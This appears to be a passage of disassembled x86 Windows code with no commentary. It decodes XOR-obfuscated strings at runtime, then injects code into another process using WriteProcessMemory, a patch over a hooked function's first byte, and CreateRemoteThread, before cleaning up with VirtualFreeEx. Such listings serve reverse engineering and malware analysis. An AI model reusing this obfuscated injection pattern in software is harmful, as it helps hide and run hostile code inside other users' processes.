movaps xmmword [ebp - 0x10c0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
push 0
push 0x720
push 0x454430
push dword [ebp - 0x2b44]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45bfb9
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1ac8], 0xd966ca3c
lea eax, [ebp - 0x1a98]
mov dword [ebp - 0x1ac4], 0xe82eca57
push eax
lea eax, [ebp - 0x1ac8]
mov dword [ebp - 0x1ac0], 0x22d361a3
push eax
lea ecx, [ebp - 0x30a0]
mov dword [ebp - 0x1abc], 0xe9563b92
mov dword [ebp - 0x1ab8], 0x161f4c07
mov dword [ebp - 0x1ab4], 0x60f09a49
mov dword [ebp - 0x1ab0], 0x6d6c3e06
mov dword [ebp - 0x1aac], 0x3cf98a1
mov dword [ebp - 0x1aa8], 0x2580e3e0
mov dword [ebp - 0x1aa4], 0xc87a9a73
mov dword [ebp - 0x1aa0], 0x22b58714
mov dword [ebp - 0x1a9c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1ac8]
mov dword [ebp - 0x8a0], 0xad0fb86b
push eax
lea eax, [ebp - 0x1af8]
mov dword [ebp - 0x89c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3098]
mov dword [ebp - 0x1af8], 0xad0fb86b
mov dword [ebp - 0x1af4], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
mov dword [ebp - 0x1af0], 0x51a004c0
mov dword [ebp - 0x1aec], 0x863b5edf
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x1ae8], 0x703f3575
mov dword [ebp - 0x1ae4], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x1ae0], 0x41b1e62
mov dword [ebp - 0x1adc], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x1ad8], 0x5e5878f
mov dword [ebp - 0x1ad4], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
mov dword [ebp - 0x1ad0], 0x22b58714
mov dword [ebp - 0x1acc], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1af8]
mov dword [ebp - 0x10b0], 0xd966ca3c
push eax
lea eax, [ebp - 0x1b28]
mov dword [ebp - 0x10ac], 0xe82eca57
push eax
lea ecx, [ebp - 0x3090]
mov dword [ebp - 0x1b28], 0xd966ca3c
mov dword [ebp - 0x1b24], 0xe82eca57
mov dword [ebp - 0x10a8], 0x22d361a3
mov dword [ebp - 0x10a4], 0xe9563b92
mov dword [ebp - 0x1b20], 0x22d361a3
mov dword [ebp - 0x1b1c], 0xe9563b92
mov dword [ebp - 0x10a0], 0x161f4c07
mov dword [ebp - 0x109c], 0x60f09a49
mov dword [ebp - 0x1b18], 0x161f4c07
mov dword [ebp - 0x1b14], 0x60f09a49
mov dword [ebp - 0x1098], 0x6d6c3e06
mov dword [ebp - 0x1094], 0x3cf98a1
mov dword [ebp - 0x1b10], 0x6d6c3e06
mov dword [ebp - 0x1b0c], 0x3cf98a1
mov dword [ebp - 0x1090], 0x2580e3e0
mov dword [ebp - 0x108c], 0xc87a9a73
mov dword [ebp - 0x1b08], 0x2580e3e0
mov dword [ebp - 0x1b04], 0xc87a9a73
mov dword [ebp - 0x1088], 0x22b58714
mov dword [ebp - 0x1084], 0x75f60763
mov dword [ebp - 0x1b00], 0x22b58714
mov dword [ebp - 0x1afc], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x10b0]
lea eax, [ebp - 0x10b0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10b0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x10a0]
movaps xmmword [ebp - 0x10a0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1090]
push esi
push eax
movaps xmmword [ebp - 0x1090], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
push 0
push 0x720
lea eax, [ebp - 0x2998]
push eax
push dword [ebp - 0x2b40]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c2df
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1b58], 0xd966ca3c
lea eax, [ebp - 0x1b28]
mov dword [ebp - 0x1b54], 0xe82eca57
push eax
lea eax, [ebp - 0x1b58]
mov dword [ebp - 0x1b50], 0x22d361a3
push eax
lea ecx, [ebp - 0x3088]
mov dword [ebp - 0x1b4c], 0xe9563b92
mov dword [ebp - 0x1b48], 0x161f4c07
mov dword [ebp - 0x1b44], 0x60f09a49
mov dword [ebp - 0x1b40], 0x6d6c3e06
mov dword [ebp - 0x1b3c], 0x3cf98a1
mov dword [ebp - 0x1b38], 0x2580e3e0
mov dword [ebp - 0x1b34], 0xc87a9a73
mov dword [ebp - 0x1b30], 0x22b58714
mov dword [ebp - 0x1b2c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1b58]
mov dword [ebp - 0x8a0], 0xad0fb86b
push eax
lea eax, [ebp - 0x1b88]
mov dword [ebp - 0x89c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3080]
mov dword [ebp - 0x1b88], 0xad0fb86b
mov dword [ebp - 0x1b84], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
mov dword [ebp - 0x1b80], 0x51a004c0
mov dword [ebp - 0x1b7c], 0x863b5edf
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x1b78], 0x703f3575
mov dword [ebp - 0x1b74], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x1b70], 0x41b1e62
mov dword [ebp - 0x1b6c], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x1b68], 0x5e5878f
mov dword [ebp - 0x1b64], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
mov dword [ebp - 0x1b60], 0x22b58714
mov dword [ebp - 0x1b5c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1b88]
mov dword [ebp - 0x1080], 0xd966ca3c
push eax
lea eax, [ebp - 0x1bb8]
mov dword [ebp - 0x107c], 0xe82eca57
push eax
lea ecx, [ebp - 0x3078]
mov dword [ebp - 0x1bb8], 0xd966ca3c
mov dword [ebp - 0x1bb4], 0xe82eca57
mov dword [ebp - 0x1078], 0x22d361a3
mov dword [ebp - 0x1074], 0xe9563b92
mov dword [ebp - 0x1bb0], 0x22d361a3
mov dword [ebp - 0x1bac], 0xe9563b92
mov dword [ebp - 0x1070], 0x161f4c07
mov dword [ebp - 0x106c], 0x60f09a49
mov dword [ebp - 0x1ba8], 0x161f4c07
mov dword [ebp - 0x1ba4], 0x60f09a49
mov dword [ebp - 0x1068], 0x6d6c3e06
mov dword [ebp - 0x1064], 0x3cf98a1
mov dword [ebp - 0x1ba0], 0x6d6c3e06
mov dword [ebp - 0x1b9c], 0x3cf98a1
mov dword [ebp - 0x1060], 0x2580e3e0
mov dword [ebp - 0x105c], 0xc87a9a73
mov dword [ebp - 0x1b98], 0x2580e3e0
mov dword [ebp - 0x1b94], 0xc87a9a73
mov dword [ebp - 0x1058], 0x22b58714
mov dword [ebp - 0x1054], 0x75f60763
mov dword [ebp - 0x1b90], 0x22b58714
mov dword [ebp - 0x1b8c], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1080]
lea eax, [ebp - 0x1080]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1080], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1070]
movaps xmmword [ebp - 0x1070], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1060]
push esi
push eax
movaps xmmword [ebp - 0x1060], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
lea eax, [ebp - 0x18f8]
mov dword [ebp - 0x1918], 0xe47ddc27
push eax
lea eax, [ebp - 0x1918]
mov dword [ebp - 0x1914], 0xee28f35c
push eax
lea ecx, [ebp - 0x3070]
mov dword [ebp - 0x1910], 0x2bc968a1
mov dword [ebp - 0x190c], 0xf3530aba
mov dword [ebp - 0x1908], 0x703f5e1b
mov dword [ebp - 0x1904], 0x59cf328
mov dword [ebp - 0x1900], 0x41b1e62
mov dword [ebp - 0x18fc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x18d8]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x18f8]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3068]
mov dword [ebp - 0x18f8], 0xad0fb86b
mov dword [ebp - 0x18f4], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x18f0], 0x51a004c0
mov dword [ebp - 0x18ec], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x18e8], 0x703f3575
mov dword [ebp - 0x18e4], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x18e0], 0x41b1e62
mov dword [ebp - 0x18dc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x18b8]
mov dword [ebp - 0xd20], 0xe47ddc27
push eax
lea eax, [ebp - 0x18d8]
mov dword [ebp - 0xd1c], 0xee28f35c
push eax
lea ecx, [ebp - 0x3060]
mov dword [ebp - 0x18d8], 0xe47ddc27
mov dword [ebp - 0x18d4], 0xee28f35c
mov dword [ebp - 0xd18], 0x2bc968a1
mov dword [ebp - 0xd14], 0xf3530aba
mov dword [ebp - 0x18d0], 0x2bc968a1
mov dword [ebp - 0x18cc], 0xf3530aba
mov dword [ebp - 0xd10], 0x703f5e1b
mov dword [ebp - 0xd0c], 0x59cf328
mov dword [ebp - 0x18c8], 0x703f5e1b
mov dword [ebp - 0x18c4], 0x59cf328
mov dword [ebp - 0xd08], 0x41b1e62
mov dword [ebp - 0xd04], 0x60eff0d5
mov dword [ebp - 0x18c0], 0x41b1e62
mov dword [ebp - 0x18bc], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xd20]
lea eax, [ebp - 0x2b50]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3058]
movaps xmmword [ebp - 0xd20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd10]
push eax
lea eax, [ebp - 0x2b60]
movaps xmmword [ebp - 0xd10], xmm1
push eax
mov dword [ebp - 0x2b60], 0xc16bcc05
mov dword [ebp - 0x2b5c], 0xeb38b45e
mov dword [ebp - 0x2b58], 0x51a004ac
mov dword [ebp - 0x2b54], 0x863b5edf
call fcn.0045f450
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x2b70], 0xad0fb86b
mov dword [ebp - 0x2b6c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2b68], 0x51a004c0
lea eax, [ebp - 0x2b60]
mov dword [ebp - 0x2b64], 0x863b5edf
push eax
lea eax, [ebp - 0x2b70]
push eax
lea ecx, [ebp - 0x3050]
call fcn.0045f450
lea eax, [ebp - 0x2b70]
mov dword [ebp - 0xa00], 0xc16bcc05
push eax
lea eax, [ebp - 0x2b80]
mov dword [ebp - 0x9fc], 0xeb38b45e
push eax
lea ecx, [ebp - 0x3048]
mov dword [ebp - 0x2b80], 0xc16bcc05
mov dword [ebp - 0x2b7c], 0xeb38b45e
mov dword [ebp - 0x9f8], 0x51a004ac
mov dword [ebp - 0x9f4], 0x863b5edf
mov dword [ebp - 0x2b78], 0x51a004ac
mov dword [ebp - 0x2b74], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xa00]
lea eax, [ebp - 0xa00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa00], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xd20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 5
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2b48], eax
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 0x1c], 0xe9
jne 0x45c660
mov eax, dword [ebp - 0x2b48]
push 0
push 5
push eax
push eax
push esi
mov byte [ebp - 0x2b2d], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x2b40]
push dword [ebp - 0x2b44]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2b38], eax
test eax, eax
jne 0x45c9b3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1c78], 0xcc6aca28
lea eax, [ebp - 0x1c48]
mov dword [ebp - 0x1c74], 0xe20eff46
push eax
lea eax, [ebp - 0x1c78]
mov dword [ebp - 0x1c70], 0x34d46bad
push eax
lea ecx, [ebp - 0x3040]
mov dword [ebp - 0x1c6c], 0xe349368b
mov dword [ebp - 0x1c68], 0x161f5114
mov dword [ebp - 0x1c64], 0x60f09a49
mov dword [ebp - 0x1c60], 0x6d6c3e06
mov dword [ebp - 0x1c5c], 0x3cf98a1
mov dword [ebp - 0x1c58], 0x2580e3e0
mov dword [ebp - 0x1c54], 0xc87a9a73
mov dword [ebp - 0x1c50], 0x22b58714
mov dword [ebp - 0x1c4c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1ca8]
mov dword [ebp - 0x8a0], 0xad0fb86b
push eax
lea eax, [ebp - 0x1cd8]
mov dword [ebp - 0x89c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3038]
mov dword [ebp - 0x1cd8], 0xad0fb86b
mov dword [ebp - 0x1cd4], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
mov dword [ebp - 0x1cd0], 0x51a004c0
mov dword [ebp - 0x1ccc], 0x863b5edf
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x1cc8], 0x703f3575
mov dword [ebp - 0x1cc4], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x1cc0], 0x41b1e62
mov dword [ebp - 0x1cbc], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x1cb8], 0x5e5878f
mov dword [ebp - 0x1cb4], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
mov dword [ebp - 0x1cb0], 0x22b58714
mov dword [ebp - 0x1cac], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1cd8]
mov dword [ebp - 0x1050], 0xcc6aca28
push eax
lea eax, [ebp - 0x1d08]
mov dword [ebp - 0x104c], 0xe20eff46
push eax
lea ecx, [ebp - 0x3030]
mov dword [ebp - 0x1d08], 0xcc6aca28
mov dword [ebp - 0x1d04], 0xe20eff46
mov dword [ebp - 0x1048], 0x34d46bad
mov dword [ebp - 0x1044], 0xe349368b
mov dword [ebp - 0x1d00], 0x34d46bad
mov dword [ebp - 0x1cfc], 0xe349368b
mov dword [ebp - 0x1040], 0x161f5114
mov dword [ebp - 0x103c], 0x60f09a49
mov dword [ebp - 0x1cf8], 0x161f5114
mov dword [ebp - 0x1cf4], 0x60f09a49
mov dword [ebp - 0x1038], 0x6d6c3e06
mov dword [ebp - 0x1034], 0x3cf98a1
mov dword [ebp - 0x1cf0], 0x6d6c3e06
mov dword [ebp - 0x1cec], 0x3cf98a1
mov dword [ebp - 0x1030], 0x2580e3e0
mov dword [ebp - 0x102c], 0xc87a9a73
mov dword [ebp - 0x1ce8], 0x2580e3e0
mov dword [ebp - 0x1ce4], 0xc87a9a73
mov dword [ebp - 0x1028], 0x22b58714
mov dword [ebp - 0x1024], 0x75f60763
mov dword [ebp - 0x1ce0], 0x22b58714
mov dword [ebp - 0x1cdc], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1050]
lea eax, [ebp - 0x1050]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1050], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1040]
movaps xmmword [ebp - 0x1040], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1030]
push esi
push eax
movaps xmmword [ebp - 0x1030], xmm1
call fcn.0044b300
add esp, 8
cmp byte [ebp - 0x2b2d], 0
je 0x45ccba
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2b48]
push dword [ebp - 0x2b3c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x45ccba
push 0x2bf20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x2b34], eax
call edi
cmp byte [ebp - 0x2b2d], 0
je 0x45c9f0
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2b48]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2b4c]
push eax
push dword [ebp - 0x2b38]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x2b34]
cmp eax, 0x102
je 0x45ca5d
cmp eax, 0x80
je 0x45ca5d
mov eax, dword [ebp - 0x2b4c]
test eax, eax
je 0x45ca5d
cmp eax, 0xffffffff
je 0x45ca5d
push 0x2710
call edi
push 0x8000
push 0
push dword [ebp - 0x2b44]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2b40]
push dword [ebp - 0x2b3c]
call esi
jmp 0x45d039
push dword [ebp - 0x2b38]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x8000
push 0
push dword [ebp - 0x2b44]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2b40]
push dword [ebp - 0x2b3c]
call esi
push dword [ebp - 0x2b3c]
call edi
lea eax, [ebp - 0x1898]
mov dword [ebp - 0x18b8], 0xc865d622
push eax
lea eax, [ebp - 0x18b8]
mov dword [ebp - 0x18b4], 0xe67cee51
push eax
lea ecx, [ebp - 0x3028]
mov dword [ebp - 0x18b0], 0x3cc570b4
mov dword [ebp - 0x18ac], 0xe01b2aaf
mov dword [ebp - 0x18a8], 0x15535c14
mov dword [ebp - 0x18a4], 0x59cf94c
mov dword [ebp - 0x18a0], 0x41b1e62
mov dword [ebp - 0x189c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1878]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1898]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x2fe8]
mov dword [ebp - 0x1898], 0xad0fb86b
mov dword [ebp - 0x1894], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1890], 0x51a004c0
mov dword [ebp - 0x188c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1888], 0x703f3575
mov dword [ebp - 0x1884], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1880], 0x41b1e62
mov dword [ebp - 0x187c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1858]
mov dword [ebp - 0xd40], 0xc865d622
push eax
lea eax, [ebp - 0x1878]
mov dword [ebp - 0xd3c], 0xe67cee51
push eax
lea ecx, [ebp - 0x3020]
mov dword [ebp - 0x1878], 0xc865d622
mov dword [ebp - 0x1874], 0xe67cee51
mov dword [ebp - 0xd38], 0x3cc570b4
mov dword [ebp - 0xd34], 0xe01b2aaf
mov dword [ebp - 0x1870], 0x3cc570b4
mov dword [ebp - 0x186c], 0xe01b2aaf
mov dword [ebp - 0xd30], 0x15535c14
mov dword [ebp - 0xd2c], 0x59cf94c
mov dword [ebp - 0x1868], 0x15535c14
mov dword [ebp - 0x1864], 0x59cf94c
mov dword [ebp - 0xd28], 0x41b1e62
mov dword [ebp - 0xd24], 0x60eff0d5
mov dword [ebp - 0x1860], 0x41b1e62
mov dword [ebp - 0x185c], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd40]
pxor xmm1, xmmword [ebp - 0xd40]
movaps xmmword [ebp - 0xd40], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd30]
movaps xmmword [ebp - 0xd30], xmm1
push eax
call fcn.0044b300
mov edi, dword [ebp - 0x2b2c]
add esp, 4
lea ecx, [ebp - 0x228]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45ccc3
sub ecx, edx
lea edx, [ebp - 0x228]
sar ecx, 1
push ecx
mov ecx, edi
call fcn.00454490
add esp, 4
test al, al
jne 0x45d039
lea eax, [ebp - 0x1838]
mov dword [ebp - 0x1858], 0xde61d13c
push eax
lea eax, [ebp - 0x1858]
mov dword [ebp - 0x1854], 0xa737f95d
push eax
lea ecx, [ebp - 0x3018]
mov dword [ebp - 0x1850], 0x34ca6aa9
mov dword [ebp - 0x184c], 0xe71b2abc
mov dword [ebp - 0x1848], 0x1d5a4101
mov dword [ebp - 0x1844], 0x63bc8758
mov dword [ebp - 0x1840], 0x61777703
mov dword [ebp - 0x183c], 0x60effab1
call fcn.0045f450
lea eax, [ebp - 0x1818]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1838]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3010]
mov dword [ebp - 0x1838], 0xad0fb86b
mov dword [ebp - 0x1834], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1830], 0x51a004c0
mov dword [ebp - 0x182c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1828], 0x703f3575
mov dword [ebp - 0x1824], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1820], 0x41b1e62
mov dword [ebp - 0x181c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x17f8]
mov dword [ebp - 0xd60], 0xde61d13c
push eax
lea eax, [ebp - 0x1818]
mov dword [ebp - 0xd5c], 0xa737f95d
push eax
lea ecx, [ebp - 0x3008]
mov dword [ebp - 0x1818], 0xde61d13c
mov dword [ebp - 0x1814], 0xa737f95d
mov dword [ebp - 0xd58], 0x34ca6aa9
mov dword [ebp - 0xd54], 0xe71b2abc
mov dword [ebp - 0x1810], 0x34ca6aa9
mov dword [ebp - 0x180c], 0xe71b2abc
mov dword [ebp - 0xd50], 0x1d5a4101
mov dword [ebp - 0xd4c], 0x63bc8758
mov dword [ebp - 0x1808], 0x1d5a4101
mov dword [ebp - 0x1804], 0x63bc8758
mov dword [ebp - 0xd48], 0x61777703
mov dword [ebp - 0xd44], 0x60effab1
mov dword [ebp - 0x1800], 0x61777703
mov dword [ebp - 0x17fc], 0x60effab1
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd60]
pxor xmm1, xmmword [ebp - 0xd60]
movaps xmmword [ebp - 0xd60], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd50]
push eax
movaps xmmword [ebp - 0xd50], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2b90], 0xfe5af93b
lea eax, [ebp - 0x2b80]
mov dword [ebp - 0x2b8c], 0x875c9a77
lea ecx, [ebp - 0x3000]
mov dword [ebp - 0x2b88], 0x51a004c0
mov dword [ebp - 0x2b84], 0x863b5edf
push eax
lea eax, [ebp - 0x2b90]
push eax
call fcn.0045f450
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x2ba0], 0xad0fb86b
lea eax, [ebp - 0x2b90]
mov dword [ebp - 0x2b9c], 0x875c9a32
push eax
lea eax, [ebp - 0x2ba0]
mov dword [ebp - 0x848], 0x51a004c0
push eax
lea ecx, [ebp - 0x2ff8]
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2b98], 0x51a004c0
mov dword [ebp - 0x2b94], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2ba0]
mov dword [ebp - 0xb00], 0xfe5af93b
push eax
lea eax, [ebp - 0x2bb0]
mov dword [ebp - 0xafc], 0x875c9a77
push eax
lea ecx, [ebp - 0x2ff0]
mov dword [ebp - 0x2bb0], 0xfe5af93b
mov dword [ebp - 0x2bac], 0x875c9a77
mov dword [ebp - 0xaf8], 0x51a004c0
mov dword [ebp - 0xaf4], 0x863b5edf
mov dword [ebp - 0x2ba8], 0x51a004c0
mov dword [ebp - 0x2ba4], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xb00]
pxor xmm1, xmmword [ebp - 0xb00]
push eax
movaps xmmword [ebp - 0xb00], xmm1
call fcn.005d657d
add esp, 4
call fcn.0044d800
lea ecx, [ebp - 0x1378]
call fcn.0045e560
lea ecx, [ebp - 0x8e8]
call fcn.0045e560
lea ecx, [ebp - 0x1348]
call fcn.0045e560
lea ecx, [ebp - 0x988]
call fcn.0045e560
lea ecx, [ebp - 0x1360]
call fcn.0045e560
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c77ea
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov dword [ebp - 0x1320], 0x1b5c501d
lea eax, [ebp - 0x1330]
mov dword [ebp - 0x131c], 0x77ee9608
mov dword [ebp - 0x1318], 0x24376c0d
mov dword [ebp - 0x1314], 0x18a9ca5
mov dword [ebp - 0x1310], 0x66c5e2fc
mov dword [ebp - 0x130c], 0xa3139b3e
mov dword [ebp - 0x1308], 0x57dafe34
mov dword [ebp - 0x1304], 0x10982711
mov dword [ebp - 0x1300], 0x4b886fad
mov dword [ebp - 0x12fc], 0x2e28db97
mov dword [ebp - 0x12f8], 0x711273b8
mov dword [ebp - 0x12f4], 0x136893d
mov dword [ebp - 0x12f0], 0x97607233
mov dword [ebp - 0x12ec], 0x75e2cf7a
mov dword [ebp - 0x12e8], 0x567ab9c8
mov dword [ebp - 0x12e4], 0xe0e5ff6e
mov dword [ebp - 0x12e0], 0xd9177dfd
mov dword [ebp - 0x12dc], 0xf70e4f10
mov dword [ebp - 0x12d8], 0x4ad2c1aa
mov dword [ebp - 0x12d4], 0x85bc3e3d
mov dword [ebp - 0x1330], 0xc96ed727
mov dword [ebp - 0x132c], 0xf17ce857
mov dword [ebp - 0x1328], 0x38d376a5
mov dword [ebp - 0x1324], 0xe51b30b0
movaps xmm1, xmmword [ebp - 0x1330]
mov dword [ebp - 0x8d0], 0xad0fb86b
mov dword [ebp - 0x8cc], 0x875c9a32
mov dword [ebp - 0x8c8], 0x51a004c0
mov dword [ebp - 0x8c4], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x8d0]
movaps xmmword [ebp - 0x1330], xmm1
mov dword [ebp - 0x8c0], 0x703f3575
mov dword [ebp - 0x8bc], 0x59cf328
mov dword [ebp - 0x8b8], 0x41b1e62
mov dword [ebp - 0x8b4], 0x60eff0d5
movaps xmm1, xmmword [ebp - 0x8c0]
pxor xmm1, xmmword [ebp - 0x1320]
movaps xmmword [ebp - 0x1320], xmm1
mov dword [ebp - 0x8b0], 0x5e5878f
mov dword [ebp - 0x8ac], 0xc870fe56
mov dword [ebp - 0x8a8], 0x22b58714
mov dword [ebp - 0x8a4], 0x75f60763
movaps xmm1, xmmword [ebp - 0x8b0]
pxor xmm1, xmmword [ebp - 0x1310]
movaps xmmword [ebp - 0x1310], xmm1
mov dword [ebp - 0x8a0], 0x39e718d9
mov dword [ebp - 0x89c], 0x414bfbfc
mov dword [ebp - 0x898], 0x12771dd6
mov dword [ebp - 0x894], 0x6f59e049
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1300]
